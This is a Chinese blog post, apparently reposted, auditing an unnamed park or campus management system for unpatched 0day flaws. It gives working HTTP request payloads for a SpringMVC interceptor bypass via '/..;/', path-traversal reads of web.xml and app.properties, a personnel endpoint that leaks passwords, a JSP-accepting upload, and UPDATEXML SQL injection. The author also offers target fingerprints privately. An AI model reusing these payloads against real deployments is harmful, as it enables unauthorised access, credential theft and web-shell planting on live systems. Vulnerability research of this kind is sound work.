文章总结: 该文档详细介绍了某园区系统的多个安全漏洞,包括权限绕过两种方法、文件读取两处、信息泄露、文件上传和SQL注入漏洞。作者提供了漏洞原理分析、利用路径和具体payload,展示了如何绕过SpringMVC拦截器、未授权访问敏感文件、获取账号密码信息、上传恶意文件以及执行SQL注入攻击。这些漏洞可能导致系统完全被攻破,建议立即修复相关安全问题。
综合评分: 85
文章分类: 代码审计,漏洞分析,WEB安全,渗透测试,应用安全
某园区0day代码审计
原创
冬夏
韭要学JAVA安全
2025年6月2日 14:56
北京
1、权限绕过
1.1、方法一
这里看spring-mvc的配置,找到SpringMVC拦截器
跟进拦截器,主要看看拦截规则写的什么,判断地址是否为白名单,如果部位白名单进入到
if (session.getAttribute("__sessional_user__") == null) {循环中
白名单地址为
然后跟踪isWhiteUri函数,这里的权限绕过是因为contains函数,这个函数意思是只要内容包含白名单的路径,他就会返回true
这里就可以用/白名单/..;/..;/绕过鉴权,如下:
1.2、方法二
如果请求的地址不是白名单,则进入到if循环和try-catch语句中,第一个if里面的不用看了,到现在还没有绕过来。主要看第二个鉴权的代码
这里的逻辑主要是判断,解密后的数组recoToken用,分割判断长度是为2,并且数组第二位是否为数字,之后才会将信息添加到session中。那么加密代码如下
- [ ] 数组第二位为字母,不执行
- [ ] 为数字执行
成功绕过
2、文件读取1
全局搜索download关键字,这里的函数fileDownload.do请求时需要带参数fileId,该参数没有任何的过滤,用getRootPath获取请求的路径,之后在用loadFile加载该路径。
payload:
GET /manage/personnel/fileDownload.do?fileId=/WEB-INF/web.xml&recoToken=ZuZBOrvLG8M HTTP/1.1
Host: x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
3、文件读取2
参数imgDownload.do,这里也是直接请求路径,之后读取该路径的数据。这里有个主意的是参数getCaptureDirectoryPhysicalPath
跟进getCaptureDirectoryPhysicalPath,这里重要的是基础的路径后面加了三个../
那这里的跳转的路径直接到/manage 目录下
那么请求的敏感文件路径payload为
GET /manage/resourceUpload/imgDownload.do?filePath=/manage/WEB-INF/classes/app.properties&recoToken=ZuZBOrvLG8M HTTP/1.1
Host: x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
4、信息泄露(账号密码)
主要观察控制层的User、Personnel等关键字
比如PersonnelController,查询到的接口queryPersonnelInfo、queryPersonnel、getPersonnelById
GET /manage/personnel/queryPersonnel.do?page=1&pagesize=1000&recoToken=ZuZBOrvLG8M HTTP/1.1
Host: x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
5、文件上传
这里上传很多,就拿一个举例全局搜索upload,定位到
就检测一个地方,是不是文件上传的类型,之后用copy函数,复制内容和文件名。这里拿txt做样式,jsp后缀可上传。
POST /manage/dgmCommand/resourceUploadFile.do?recoToken=ZuZBOrvLG8M HTTP/1.1
Host: x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFfJZ4PlAZBixjELj
Accept: */*
Connection: close
------WebKitFormBoundaryFfJZ4PlAZBixjELj
Content-Disposition: form-data; name="3"; filename="1.txt"
Content-Type: image/jpeg
1
------WebKitFormBoundaryFfJZ4PlAZBixjELj--
12、sql注入1(两处)
SQL注入也很多,拿一个做案例。在下面的mapper的目录中,看到有两个可控参数order和columnKey,这里的columnKey注入条件必须order不为空才能进行诸如
/manage/WEB-INF/lib/x.server-1.0.jar!/com/x/x/mapper/mysql/black_list/BlackListDsm.xml
这里进行反推,找关键函数queryBlackList,文件从BlackListDsm->BlackListBsm->BlackListAsm->BlackListController
BlackListDsm
BlackListBsmImpl
BlackListAsmImpl.class
BlackListController.class,用set方法设置参数,并调用函数queryBlackList
那这里的sql注入payload1
GET /manage/systemBlackList/queryBlackList.do?recoToken=ZuZBOrvLG8M&page=1&pageSize=10&order=(UPDATEXML(2920,CONCAT(0x2e,0x71716a7071,(SELECT+(ELT(2920=2920,1))),0x71706b7671),8357)) HTTP/1.1
Host: x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Accept: */*
Connection: close
payload2
GET /manage/systemBlackList/queryBlackList.do?recoToken=ZuZBOrvLG8M&page=1&pageSize=10&order=asc&columnKey=(UPDATEXML(2920,CONCAT(0x2e,0x71716a7071,(SELECT+(ELT(2920=2920,1))),0x71706b7671),8357)) HTTP/1.1
Host: x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Accept: */*
Connection: close
完结
如果有需要指纹,请后台联系本人。建立个交流群,大家有什么技术上或者项目上交流,都可畅所欲言。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:韭要学JAVA安全 冬夏《某园区0day代码审计》